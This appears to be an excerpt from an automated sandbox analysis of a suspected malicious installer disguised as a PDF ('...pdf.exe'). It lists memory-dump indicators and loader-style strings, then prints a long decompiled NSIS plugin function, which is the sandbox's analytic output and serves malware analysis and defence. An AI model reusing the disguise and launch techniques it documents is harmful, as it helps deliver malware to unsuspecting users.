                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: lstrcat$FileProcess$DirectoryExit$CurrentDeleteEnvironmentPathTempTokenVariableVersionWindows$AdjustCharCloseCommandCopyCreateErrorHandleInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesUninitializeValuelstrcmpilstrlen
                                                                                                                • String ID: "C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\Buildup\Skaldedes$C:\Users\user\AppData\Local\Temp\Buildup\Skaldedes\digestedness\Befarnes$C:\Users\user\Desktop$C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$kernel32::EnumResourceTypesW(i 0,i r1,i 0)$~nsu
                                                                                                                • API String ID: 3859024572-4032377870
                                                                                                                • Opcode ID: ea0cae1bb7d5915cd49b585c952b984ac3b7c511afb70fb70d540011af4007ef
                                                                                                                • Instruction ID: 4d4dc0a58e4858e72561def8a0259f0227da8af974c10a5ea2b310ef4b80d7a5
                                                                                                                • Opcode Fuzzy Hash: ea0cae1bb7d5915cd49b585c952b984ac3b7c511afb70fb70d540011af4007ef
                                                                                                                • Instruction Fuzzy Hash: 66E10670A00214AADB10AFB59D45BAF3AB8EF4470AF14847FF545B22D1DB7C8A41CB6D
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 95%
                                                                                                                			E70691BFF() {
                                                                                                                				signed int _v8;
                                                                                                                				signed int _v12;
                                                                                                                				signed int _v16;
                                                                                                                				signed int _v20;
                                                                                                                				WCHAR* _v24;
                                                                                                                				WCHAR* _v28;
                                                                                                                				signed int _v32;
                                                                                                                				signed int _v36;
                                                                                                                				signed int _v40;
                                                                                                                				signed int _v44;
                                                                                                                				WCHAR* _v48;
                                                                                                                				signed int _v52;
                                                                                                                				void* _v56;
                                                                                                                				intOrPtr _v60;
                                                                                                                				WCHAR* _t208;
                                                                                                                				signed int _t211;
                                                                                                                				void* _t213;
                                                                                                                				void* _t215;
                                                                                                                				WCHAR* _t217;
                                                                                                                				void* _t225;
                                                                                                                				struct HINSTANCE__* _t226;
                                                                                                                				struct HINSTANCE__* _t227;
                                                                                                                				struct HINSTANCE__* _t229;
                                                                                                                				signed short _t231;
                                                                                                                				struct HINSTANCE__* _t234;
                                                                                                                				struct HINSTANCE__* _t236;
                                                                                                                				void* _t237;
                                                                                                                				intOrPtr* _t238;
                                                                                                                				void* _t249;
                                                                                                                				signed char _t250;
                                                                                                                				signed int _t251;
                                                                                                                				void* _t255;
                                                                                                                				struct HINSTANCE__* _t257;
                                                                                                                				void* _t258;
                                                                                                                				signed int _t260;
                                                                                                                				signed int _t261;
                                                                                                                				signed short* _t264;
                                                                                                                				signed int _t269;
                                                                                                                				signed int _t272;
                                                                                                                				signed int _t274;
                                                                                                                				void* _t277;
                                                                                                                				void* _t281;
                                                                                                                				struct HINSTANCE__* _t283;
                                                                                                                				signed int _t286;
                                                                                                                				void _t287;
                                                                                                                				signed int _t288;
                                                                                                                				signed int _t300;
                                                                                                                				signed int _t301;
                                                                                                                				signed short _t304;
                                                                                                                				void* _t305;
                                                                                                                				signed int _t309;
                                                                                                                				signed int _t312;
                                                                                                                				signed int _t315;
                                                                                                                				signed int _t316;
                                                                                                                				signed int _t317;
                                                                                                                				signed short* _t321;
                                                                                                                				WCHAR* _t322;
                                                                                                                				WCHAR* _t324;
                                                                                                                				WCHAR* _t325;
                                                                                                                				struct HINSTANCE__* _t326;
                                                                                                                				void* _t328;
                                                                                                                				signed int _t331;
                                                                                                                				void* _t332;
                                                                                                                
                                                                                                                				_t283 = 0;
                                                                                                                				_v32 = 0;
                                                                                                                				_v36 = 0;
                                                                                                                				_v16 = 0;
                                                                                                                				_v8 = 0;
                                                                                                                				_v40 = 0;
                                                                                                                				_t332 = 0;
                                                                                                                				_v52 = 0;
                                                                                                                				_v44 = 0;
                                                                                                                				_t208 = E706912BB();
                                                                                                                				_v24 = _t208;
                                                                                                                				_v28 = _t208;
                                                                                                                				_v48 = E706912BB();
                                                                                                                				_t321 = E706912E3();
                                                                                                                				_v56 = _t321;
                                                                                                                				_v12 = _t321;
                                                                                                                				while(1) {
                                                                                                                					_t211 = _v32;
                                                                                                                					_v60 = _t211;
                                                                                                                					if(_t211 != _t283 && _t332 == _t283) {
                                                                                                                						break;
                                                                                                                					}
                                                                                                                					_t286 =  *_t321 & 0x0000ffff;
                                                                                                                					_t213 = _t286 - _t283;
                                                                                                                					if(_t213 == 0) {
                                                                                                                						_t37 =  &_v32;
                                                                                                                						 *_t37 = _v32 | 0xffffffff;
                                                                                                                						__eflags =  *_t37;
                                                                                                                						L20:
                                                                                                                						_t215 = _v60 - _t283;
                                                                                                                						if(_t215 == 0) {
                                                                                                                							__eflags = _t332 - _t283;
                                                                                                                							 *_v28 = _t283;
                                                                                                                							if(_t332 == _t283) {
                                                                                                                								_t255 = GlobalAlloc(0x40, 0x1ca4); // executed
                                                                                                                								_t332 = _t255;
                                                                                                                								 *(_t332 + 0x1010) = _t283;
                                                                                                                								 *(_t332 + 0x1014) = _t283;
                                                                                                                							}
                                                                                                                							_t287 = _v36;
                                                                                                                							_t47 = _t332 + 8; // 0x8
                                                                                                                							_t217 = _t47;
                                                                                                                							_t48 = _t332 + 0x808; // 0x808
                                                                                                                							_t322 = _t48;
                                                                                                                							 *_t332 = _t287;
                                                                                                                							_t288 = _t287 - _t283;
                                                                                                                							__eflags = _t288;
                                                                                                                							 *_t217 = _t283;
                                                                                                                							 *_t322 = _t283;
                                                                                                                							 *(_t332 + 0x1008) = _t283;
                                                                                                                							 *(_t332 + 0x100c) = _t283;
                                                                                                                							 *(_t332 + 4) = _t283;
                                                                                                                							if(_t288 == 0) {
                                                                                                                								__eflags = _v28 - _v24;
                                                                                                                								if(_v28 == _v24) {
                                                                                                                									goto L42;
                                                                                                                								}
                                                                                                                								_t328 = 0;
                                                                                                                								GlobalFree(_t332);
                                                                                                                								_t332 = E706913B1(_v24);
                                                                                                                								__eflags = _t332 - _t283;
                                                                                                                								if(_t332 == _t283) {
                                                                                                                									goto L42;
                                                                                                                								} else {
                                                                                                                									goto L35;
                                                                                                                								}
                                                                                                                								while(1) {
                                                                                                                									L35:
                                                                                                                									_t249 =  *(_t332 + 0x1ca0);
                                                                                                                									__eflags = _t249 - _t283;
                                                                                                                									if(_t249 == _t283) {
                                                                                                                										break;
                                                                                                                									}
                                                                                                                									_t328 = _t332;
                                                                                                                									_t332 = _t249;
                                                                                                                									__eflags = _t332 - _t283;
                                                                                                                									if(_t332 != _t283) {
                                                                                                                										continue;
                                                                                                                									}
                                                                                                                									break;
                                                                                                                								}
                                                                                                                								__eflags = _t328 - _t283;
                                                                                                                								if(_t328 != _t283) {
                                                                                                                									 *(_t328 + 0x1ca0) = _t283;
                                                                                                                								}
                                                                                                                								_t250 =  *(_t332 + 0x1010);
                                                                                                                								__eflags = _t250 & 0x00000008;
                                                                                                                								if((_t250 & 0x00000008) == 0) {
                                                                                                                									_t251 = _t250 | 0x00000002;
                                                                                                                									__eflags = _t251;
                                                                                                                									 *(_t332 + 0x1010) = _t251;
                                                                                                                								} else {
                                                                                                                									_t332 = E7069162F(_t332);
                                                                                                                									 *(_t332 + 0x1010) =  *(_t332 + 0x1010) & 0xfffffff5;
                                                                                                                								}
                                                                                                                								goto L42;
                                                                                                                							} else {
                                                                                                                								_t300 = _t288 - 1;
                                                                                                                								__eflags = _t300;
                                                                                                                								if(_t300 == 0) {
                                                                                                                									L31:
                                                                                                                									lstrcpyW(_t217, _v48);
                                                                                                                									L32:
                                                                                                                									lstrcpyW(_t322, _v24);
                                                                                                                									goto L42;
                                                                                                                								}
                                                                                                                								_t301 = _t300 - 1;
                                                                                                                								__eflags = _t301;
                                                                                                                								if(_t301 == 0) {
                                                                                                                									goto L32;
                                                                                                                								}
                                                                                                                								__eflags = _t301 != 1;
                                                                                                                								if(_t301 != 1) {
                                                                                                                									goto L42;
                                                                                                                								}
                                                                                                                								goto L31;
                                                                                                                							}
                                                                                                                						} else {
                                                                                                                							if(_t215 == 1) {
                                                                                                                								_t257 = _v16;
                                                                                                                								if(_v40 == _t283) {
                                                                                                                									_t257 = _t257 - 1;
                                                                                                                								}
                                                                                                                								 *(_t332 + 0x1014) = _t257;
                                                                                                                							}
                                                                                                                							L42:
                                                                                                                							_v12 = _v12 + 2;
                                                                                                                							_v28 = _v24;
                                                                                                                							L59:
                                                                                                                							if(_v32 != 0xffffffff) {
                                                                                                                								_t321 = _v12;
                                                                                                                								continue;
                                                                                                                							}
                                                                                                                							break;
                                                                                                                						}
                                                                                                                					}
                                                                                                                					_t258 = _t213 - 0x23;
                                                                                                                					if(_t258 == 0) {
                                                                                                                						__eflags = _t321 - _v56;
                                                                                                                						if(_t321 <= _v56) {
                                                                                                                							L17:
                                                                                                                							__eflags = _v44 - _t283;
                                                                                                                							if(_v44 != _t283) {
                                                                                                                								L43:
                                                                                                                								_t260 = _v32 - _t283;
                                                                                                                								__eflags = _t260;
                                                                                                                								if(_t260 == 0) {
                                                                                                                									_t261 = _t286;
                                                                                                                									while(1) {
                                                                                                                										__eflags = _t261 - 0x22;
                                                                                                                										if(_t261 != 0x22) {
                                                                                                                											break;
                                                                                                                										}
                                                                                                                										_t321 =  &(_t321[1]);
                                                                                                                										__eflags = _v44 - _t283;
                                                                                                                										_v12 = _t321;
                                                                                                                										if(_v44 == _t283) {
                                                                                                                											_v44 = 1;
                                                                                                                											L162:
                                                                                                                											_v28 =  &(_v28[0]);
                                                                                                                											 *_v28 =  *_t321;
                                                                                                                											L58:
                                                                                                                											_t331 =  &(_t321[1]);
                                                                                                                											__eflags = _t331;
                                                                                                                											_v12 = _t331;
                                                                                                                											goto L59;
                                                                                                                										}
                                                                                                                										_t261 =  *_t321 & 0x0000ffff;
                                                                                                                										_v44 = _t283;
                                                                                                                									}
                                                                                                                									__eflags = _t261 - 0x2a;
                                                                                                                									if(_t261 == 0x2a) {
                                                                                                                										_v36 = 2;
                                                                                                                										L57:
                                                                                                                										_t321 = _v12;
                                                                                                                										_v28 = _v24;
                                                                                                                										_t283 = 0;
                                                                                                                										__eflags = 0;
                                                                                                                										goto L58;
                                                                                                                									}
                                                                                                                									__eflags = _t261 - 0x2d;
                                                                                                                									if(_t261 == 0x2d) {
                                                                                                                										L151:
                                                                                                                										_t304 =  *_t321;
                                                                                                                										__eflags = _t304 - 0x2d;
                                                                                                                										if(_t304 != 0x2d) {
                                                                                                                											L154:
                                                                                                                											_t264 =  &(_t321[1]);
                                                                                                                											__eflags =  *_t264 - 0x3a;
                                                                                                                											if( *_t264 != 0x3a) {
                                                                                                                												goto L162;
                                                                                                                											}
                                                                                                                											__eflags = _t304 - 0x2d;
                                                                                                                											if(_t304 == 0x2d) {
                                                                                                                												goto L162;
                                                                                                                											}
                                                                                                                											_v36 = 1;
                                                                                                                											L157:
                                                                                                                											_v12 = _t264;
                                                                                                                											__eflags = _v28 - _v24;
                                                                                                                											if(_v28 <= _v24) {
                                                                                                                												 *_v48 = _t283;
                                                                                                                											} else {
                                                                                                                												 *_v28 = _t283;
                                                                                                                												lstrcpyW(_v48, _v24);
                                                                                                                											}
                                                                                                                											goto L57;
                                                                                                                										}
                                                                                                                										_t264 =  &(_t321[1]);
                                                                                                                										__eflags =  *_t264 - 0x3e;
                                                                                                                										if( *_t264 != 0x3e) {
                                                                                                                											goto L154;
                                                                                                                										}
                                                                                                                										_v36 = 3;
                                                                                                                										goto L157;
                                                                                                                									}
                                                                                                                									__eflags = _t261 - 0x3a;
                                                                                                                									if(_t261 != 0x3a) {
                                                                                                                										goto L162;
                                                                                                                									}
                                                                                                                									goto L151;
                                                                                                                								}
                                                                                                                								_t269 = _t260 - 1;
                                                                                                                								__eflags = _t269;
                                                                                                                								if(_t269 == 0) {
                                                                                                                									L80:
                                                                                                                									_t305 = _t286 + 0xffffffde;
                                                                                                                									__eflags = _t305 - 0x55;
                                                                                                                									if(_t305 > 0x55) {
                                                                                                                										goto L57;
                                                                                                                									}
                                                                                                                									switch( *((intOrPtr*)(( *(_t305 + 0x706923e8) & 0x000000ff) * 4 +  &M7069235C))) {
                                                                                                                										case 0:
                                                                                                                											__ecx = _v24;
                                                                                                                											__edi = _v12;
                                                                                                                											while(1) {
                                                                                                                												__edi = __edi + 1;
                                                                                                                												__edi = __edi + 1;
                                                                                                                												_v12 = __edi;
                                                                                                                												__ax =  *__edi;
                                                                                                                												__eflags = __ax - __dx;
                                                                                                                												if(__ax != __dx) {
                                                                                                                													goto L132;
                                                                                                                												}
                                                                                                                												L131:
                                                                                                                												__eflags =  *((intOrPtr*)(__edi + 2)) - __dx;
                                                                                                                												if( *((intOrPtr*)(__edi + 2)) != __dx) {
                                                                                                                													L136:
                                                                                                                													 *__ecx =  *__ecx & 0x00000000;
                                                                                                                													__eax = E706912CC(_v24);
                                                                                                                													__ebx = __eax;
                                                                                                                													goto L97;
                                                                                                                												}
                                                                                                                												L132:
                                                                                                                												__eflags = __ax;
                                                                                                                												if(__ax == 0) {
                                                                                                                													goto L136;
                                                                                                                												}
                                                                                                                												__eflags = __ax - __dx;
                                                                                                                												if(__ax == __dx) {
                                                                                                                													__edi = __edi + 1;
                                                                                                                													__edi = __edi + 1;
                                                                                                                													__eflags = __edi;
                                                                                                                												}
                                                                                                                												__ax =  *__edi;
                                                                                                                												 *__ecx =  *__edi;
                                                                                                                												__ecx = __ecx + 1;
                                                                                                                												__ecx = __ecx + 1;
                                                                                                                												__edi = __edi + 1;
                                                                                                                												__edi = __edi + 1;
                                                                                                                												_v12 = __edi;
                                                                                                                												__ax =  *__edi;
                                                                                                                												__eflags = __ax - __dx;
                                                                                                                												if(__ax != __dx) {
                                                                                                                													goto L132;
                                                                                                                												}
                                                                                                                												goto L131;
                                                                                                                											}
                                                                                                                										case 1:
                                                                                                                											_v8 = 1;
                                                                                                                											goto L57;
                                                                                                                										case 2:
                                                                                                                											_v8 = _v8 | 0xffffffff;
                                                                                                                											goto L57;
                                                                                                                										case 3:
                                                                                                                											_v8 = _v8 & 0x00000000;
                                                                                                                											_v20 = _v20 & 0x00000000;
                                                                                                                											_v16 = _v16 + 1;
                                                                                                                											goto L85;
                                                                                                                										case 4:
                                                                                                                											__eflags = _v20;
                                                                                                                											if(_v20 != 0) {
                                                                                                                												goto L57;
                                                                                                                											}
                                                                                                                											_v12 = _v12 - 2;
                                                                                                                											__ebx = E706912BB();
                                                                                                                											 &_v12 = E70691B86( &_v12);
                                                                                                                											__eax = E70691510(__edx, __eax, __edx, __ebx);
                                                                                                                											goto L97;
                                                                                                                										case 5:
                                                                                                                											L105:
                                                                                                                											_v20 = _v20 + 1;
                                                                                                                											goto L57;
                                                                                                                										case 6:
                                                                                                                											_push(7);
                                                                                                                											goto L123;
                                                                                                                										case 7:
                                                                                                                											_push(0x19);
                                                                                                                											goto L143;
                                                                                                                										case 8:
                                                                                                                											__eax = 0;
                                                                                                                											__eax = 1;
                                                                                                                											__eflags = 1;
                                                                                                                											goto L107;
                                                                                                                										case 9:
                                                                                                                											_push(0x15);
                                                                                                                											goto L143;
                                                                                                                										case 0xa:
                                                                                                                											_push(0x16);
                                                                                                                											goto L143;
                                                                                                                										case 0xb:
                                                                                                                											_push(0x18);
                                                                                                                											goto L143;
                                                                                                                										case 0xc:
                                                                                                                											__eax = 0;
                                                                                                                											__eax = 1;
                                                                                                                											__eflags = 1;
                                                                                                                											goto L118;
                                                                                                                										case 0xd:
                                                                                                                											__eax = 0;
                                                                                                                											__eax = 1;
                                                                                                                											__eflags = 1;
                                                                                                                											goto L109;
                                                                                                                										case 0xe:
                                                                                                                											__eax = 0;
                                                                                                                											__eax = 1;
                                                                                                                											__eflags = 1;
                                                                                                                											goto L111;
                                                                                                                										case 0xf:
                                                                                                                											__eax = 0;
                                                                                                                											__eax = 1;
                                                                                                                											__eflags = 1;
                                                                                                                											goto L122;
                                                                                                                										case 0x10:
                                                                                                                											__eax = 0;
                                                                                                                											__eax = 1;
                                                                                                                											__eflags = 1;
                                                                                                                											goto L113;
                                                                                                                										case 0x11:
                                                                                                                											_push(3);
                                                                                                                											goto L123;
                                                                                                                										case 0x12:
                                                                                                                											_push(0x17);
                                                                                                                											L143:
                                                                                                                											_pop(__ebx);
                                                                                                                											goto L98;
                                                                                                                										case 0x13:
                                                                                                                											__eax =  &_v12;
                                                                                                                											__eax = E70691B86( &_v12);
                                                                                                                											__ebx = __eax;
                                                                                                                											__ebx = __eax + 1;
                                                                                                                											__eflags = __ebx - 0xb;
                                                                                                                											if(__ebx < 0xb) {
                                                                                                                												__ebx = __ebx + 0xa;
                                                                                                                											}
                                                                                                                											goto L97;
                                                                                                                										case 0x14:
                                                                                                                											__ebx = 0xffffffff;
                                                                                                                											goto L98;
                                                                                                                										case 0x15:
                                                                                                                											__eax = 0;
                                                                                                                											__eax = 1;
                                                                                                                											__eflags = 1;
                                                                                                                											goto L116;
                                                                                                                										case 0x16:
                                                                                                                											__ecx = 0;
                                                                                                                											__eflags = 0;
                                                                                                                											goto L91;
                                                                                                                										case 0x17:
                                                                                                                											__eax = 0;
                                                                                                                											__eax = 1;
                                                                                                                											__eflags = 1;
                                                                                                                											goto L120;
                                                                                                                										case 0x18:
                                                                                                                											_t271 =  *(_t332 + 0x1014);
                                                                                                                											__eflags = _t271 - _v16;
                                                                                                                											if(_t271 > _v16) {
                                                                                                                												_v16 = _t271;
                                                                                                                											}
                                                                                                                											_v8 = _v8 & 0x00000000;
                                                                                                                											_v20 = _v20 & 0x00000000;
                                                                                                                											_v36 - 3 = _t271 - (_v36 == 3);
                                                                                                                											if(_t271 != _v36 == 3) {
                                                                                                                												L85:
                                                                                                                												_v40 = 1;
                                                                                                                											}
                                                                                                                											goto L57;
                                                                                                                										case 0x19:
                                                                                                                											L107:
                                                                                                                											__ecx = 0;
                                                                                                                											_v8 = 2;
                                                                                                                											__ecx = 1;
                                                                                                                											goto L91;
                                                                                                                										case 0x1a:
                                                                                                                											L118:
                                                                                                                											_push(5);
                                                                                                                											goto L123;
                                                                                                                										case 0x1b:
                                                                                                                											L109:
                                                                                                                											__ecx = 0;
                                                                                                                											_v8 = 3;
                                                                                                                											__ecx = 1;
                                                                                                                											goto L91;
                                                                                                                										case 0x1c:
                                                                                                                											L111:
                                                                                                                											__ecx = 0;
                                                                                                                											__ecx = 1;
                                                                                                                											goto L91;
                                                                                                                										case 0x1d:
                                                                                                                											L122:
                                                                                                                											_push(6);
                                                                                                                											goto L123;
                                                                                                                										case 0x1e:
                                                                                                                											L113:
                                                                                                                											_push(2);
                                                                                                                											goto L123;
                                                                                                                										case 0x1f:
                                                                                                                											__eax =  &_v12;
                                                                                                                											__eax = E70691B86( &_v12);
                                                                                                                											__ebx = __eax;
                                                                                                                											__ebx = __eax + 1;
                                                                                                                											goto L97;
                                                                                                                										case 0x20:
                                                                                                                											L116:
                                                                                                                											_v52 = _v52 + 1;
                                                                                                                											_push(4);
                                                                                                                											_pop(__ecx);
                                                                                                                											goto L91;
                                                                                                                										case 0x21:
                                                                                                                											L120:
                                                                                                                											_push(4);
                                                                                                                											L123:
                                                                                                                											_pop(__ecx);
                                                                                                                											L91:
                                                                                                                											__edi = _v16;
                                                                                                                											__edx =  *(0x7069405c + __ecx * 4);
                                                                                                                											__eax =  ~__eax;
                                                                                                                											asm("sbb eax, eax");
                                                                                                                											_v40 = 1;
                                                                                                                											__edi = _v16 << 5;
                                                                                                                											__eax = __eax & 0x00008000;
                                                                                                                											__edi = (_v16 << 5) + __esi;
                                                                                                                											__eax = __eax | __ecx;
                                                                                                                											__eflags = _v8;
                                                                                                                											 *(__edi + 0x1018) = __eax;
                                                                                                                											if(_v8 < 0) {
                                                                                                                												L93:
                                                                                                                												__edx = 0;
                                                                                                                												__edx = 1;
                                                                                                                												__eflags = 1;
                                                                                                                												L94:
                                                                                                                												__eflags = _v8 - 1;
                                                                                                                												 *(__edi + 0x1028) = __edx;
                                                                                                                												if(_v8 == 1) {
                                                                                                                													__eax =  &_v12;
                                                                                                                													__eax = E70691B86( &_v12);
                                                                                                                													__eax = __eax + 1;
                                                                                                                													__eflags = __eax;
                                                                                                                													_v8 = __eax;
                                                                                                                												}
                                                                                                                												__eax = _v8;
                                                                                                                												 *((intOrPtr*)(__edi + 0x101c)) = _v8;
                                                                                                                												_t136 = _v16 + 0x81; // 0x81
                                                                                                                												_t136 = _t136 << 5;
                                                                                                                												__eax = 0;
                                                                                                                												__eflags = 0;
                                                                                                                												 *((intOrPtr*)((_t136 << 5) + __esi)) = 0;
                                                                                                                												 *((intOrPtr*)(__edi + 0x1030)) = 0;
                                                                                                                												 *((intOrPtr*)(__edi + 0x102c)) = 0;
                                                                                                                												L97:
                                                                                                                												__eflags = __ebx;
                                                                                                                												if(__ebx == 0) {
                                                                                                                													goto L57;
                                                                                                                												}
                                                                                                                												L98:
                                                                                                                												__eflags = _v20;
                                                                                                                												_v40 = 1;
                                                                                                                												if(_v20 != 0) {
                                                                                                                													L103:
                                                                                                                													__eflags = _v20 - 1;
                                                                                                                													if(_v20 == 1) {
                                                                                                                														__eax = _v16;
                                                                                                                														__eax = _v16 << 5;
                                                                                                                														__eflags = __eax;
                                                                                                                														 *(__eax + __esi + 0x102c) = __ebx;
                                                                                                                													}
                                                                                                                													goto L105;
                                                                                                                												}
                                                                                                                												_v16 = _v16 << 5;
                                                                                                                												_t144 = __esi + 0x1030; // 0x1030
                                                                                                                												__edi = (_v16 << 5) + _t144;
                                                                                                                												__eax =  *__edi;
                                                                                                                												__eflags = __eax - 0xffffffff;
                                                                                                                												if(__eax <= 0xffffffff) {
                                                                                                                													L101:
                                                                                                                													__eax = GlobalFree(__eax);
                                                                                                                													L102:
                                                                                                                													 *__edi = __ebx;
                                                                                                                													goto L103;
                                                                                                                												}
                                                                                                                												__eflags = __eax - 0x19;
                                                                                                                												if(__eax <= 0x19) {
                                                                                                                													goto L102;
                                                                                                                												}
                                                                                                                												goto L101;
                                                                                                                											}
                                                                                                                											__eflags = __edx;
                                                                                                                											if(__edx > 0) {
                                                                                                                												goto L94;
                                                                                                                											}
                                                                                                                											goto L93;
                                                                                                                										case 0x22:
                                                                                                                											goto L57;
                                                                                                                									}
                                                                                                                								}
                                                                                                                								_t272 = _t269 - 1;
                                                                                                                								__eflags = _t272;
                                                                                                                								if(_t272 == 0) {
                                                                                                                									_v16 = _t283;
                                                                                                                									goto L80;
                                                                                                                								}
                                                                                                                								__eflags = _t272 != 1;
                                                                                                                								if(_t272 != 1) {
                                                                                                                									goto L162;
                                                                                                                								}
                                                                                                                								__eflags = _t286 - 0x6e;
                                                                                                                								if(__eflags > 0) {
                                                                                                                									_t309 = _t286 - 0x72;
                                                                                                                									__eflags = _t309;
                                                                                                                									if(_t309 == 0) {
                                                                                                                										_push(4);
                                                                                                                										L74:
                                                                                                                										_pop(_t274);
                                                                                                                										L75:
                                                                                                                										__eflags = _v8 - 1;
                                                                                                                										if(_v8 != 1) {
                                                                                                                											_t96 = _t332 + 0x1010;
                                                                                                                											 *_t96 =  *(_t332 + 0x1010) &  !_t274;
                                                                                                                											__eflags =  *_t96;
                                                                                                                										} else {
                                                                                                                											 *(_t332 + 0x1010) =  *(_t332 + 0x1010) | _t274;
                                                                                                                										}
                                                                                                                										_v8 = 1;
                                                                                                                										goto L57;
                                                                                                                									}
                                                                                                                									_t312 = _t309 - 1;
                                                                                                                									__eflags = _t312;
                                                                                                                									if(_t312 == 0) {
                                                                                                                										_push(0x10);
                                                                                                                										goto L74;
                                                                                                                									}
                                                                                                                									__eflags = _t312 != 0;
                                                                                                                									if(_t312 != 0) {
                                                                                                                										goto L57;
                                                                                                                									}
                                                                                                                									_push(0x40);
                                                                                                                									goto L74;
                                                                                                                								}
                                                                                                                								if(__eflags == 0) {
                                                                                                                									_push(8);
                                                                                                                									goto L74;
                                                                                                                								}
                                                                                                                								_t315 = _t286 - 0x21;
                                                                                                                								__eflags = _t315;
                                                                                                                								if(_t315 == 0) {
                                                                                                                									_v8 =  ~_v8;
                                                                                                                									goto L57;
                                                                                                                								}
                                                                                                                								_t316 = _t315 - 0x11;
                                                                                                                								__eflags = _t316;
                                                                                                                								if(_t316 == 0) {
                                                                                                                									_t274 = 0x100;
                                                                                                                									goto L75;
                                                                                                                								}
                                                                                                                								_t317 = _t316 - 0x31;
                                                                                                                								__eflags = _t317;
                                                                                                                								if(_t317 == 0) {
                                                                                                                									_t274 = 1;
                                                                                                                									goto L75;
                                                                                                                								}
                                                                                                                								__eflags = _t317 != 0;
                                                                                                                								if(_t317 != 0) {
                                                                                                                									goto L57;
                                                                                                                								}
                                                                                                                								_push(0x20);
                                                                                                                								goto L74;
                                                                                                                							} else {
                                                                                                                								_v32 = _t283;
                                                                                                                								_v36 = _t283;
                                                                                                                								goto L20;
                                                                                                                							}
                                                                                                                						}
                                                                                                                						__eflags =  *((short*)(_t321 - 2)) - 0x3a;
                                                                                                                						if( *((short*)(_t321 - 2)) != 0x3a) {
                                                                                                                							goto L17;
                                                                                                                						}
                                                                                                                						__eflags = _v32 - _t283;
                                                                                                                						if(_v32 == _t283) {
                                                                                                                							goto L43;
                                                                                                                						}
                                                                                                                						goto L17;
                                                                                                                					}
                                                                                                                					_t277 = _t258 - 5;
                                                                                                                					if(_t277 == 0) {
                                                                                                                						__eflags = _v44 - _t283;
                                                                                                                						if(_v44 != _t283) {
                                                                                                                							goto L43;
                                                                                                                						} else {
                                                                                                                							__eflags = _v36 - 3;
                                                                                                                							_v32 = 1;
                                                                                                                							_v8 = _t283;
                                                                                                                							_v20 = _t283;
                                                                                                                							_v16 = (0 | _v36 == 0x00000003) + 1;
                                                                                                                							_v40 = _t283;
                                                                                                                							goto L20;
                                                                                                                						}
                                                                                                                					}
                                                                                                                					_t281 = _t277 - 1;
                                                                                                                					if(_t281 == 0) {
                                                                                                                						__eflags = _v44 - _t283;
                                                                                                                						if(_v44 != _t283) {
                                                                                                                							goto L43;
                                                                                                                						} else {
                                                                                                                							_v32 = 2;
                                                                                                                							_v8 = _t283;
                                                                                                                							_v20 = _t283;
                                                                                                                							goto L20;
                                                                                                                						}
                                                                                                                					}
                                                                                                                					if(_t281 != 0x16) {
                                                                                                                						goto L43;
                                                                                                                					} else {
                                                                                                                						_v32 = 3;
                                                                                                                						_v8 = 1;
                                                                                                                						goto L20;
                                                                                                                					}
                                                                                                                				}
                                                                                                                				GlobalFree(_v56);
                                                                                                                				GlobalFree(_v24);
                                                                                                                				GlobalFree(_v48);
                                                                                                                				if(_t332 == _t283 ||  *(_t332 + 0x100c) != _t283) {
                                                                                                                					L182:
                                                                                                                					return _t332;
                                                                                                                				} else {
                                                                                                                					_t225 =  *_t332 - 1;
                                                                                                                					if(_t225 == 0) {
                                                                                                                						_t187 = _t332 + 8; // 0x8
                                                                                                                						_t324 = _t187;
                                                                                                                						__eflags =  *_t324 - _t283;
                                                                                                                						if( *_t324 != _t283) {
                                                                                                                							_t226 = GetModuleHandleW(_t324);
                                                                                                                							__eflags = _t226 - _t283;
                                                                                                                							 *(_t332 + 0x1008) = _t226;
                                                                                                                							if(_t226 != _t283) {
                                                                                                                								L171:
                                                                                                                								_t192 = _t332 + 0x808; // 0x808
                                                                                                                								_t325 = _t192;
                                                                                                                								_t227 = E706916BD( *(_t332 + 0x1008), _t325);
                                                                                                                								__eflags = _t227 - _t283;
                                                                                                                								 *(_t332 + 0x100c) = _t227;
                                                                                                                								if(_t227 == _t283) {
                                                                                                                									__eflags =  *_t325 - 0x23;
                                                                                                                									if( *_t325 == 0x23) {
                                                                                                                										_t195 = _t332 + 0x80a; // 0x80a
                                                                                                                										_t231 = E706913B1(_t195);
                                                                                                                										__eflags = _t231 - _t283;
                                                                                                                										if(_t231 != _t283) {
                                                                                                                											__eflags = _t231 & 0xffff0000;
                                                                                                                											if((_t231 & 0xffff0000) == 0) {
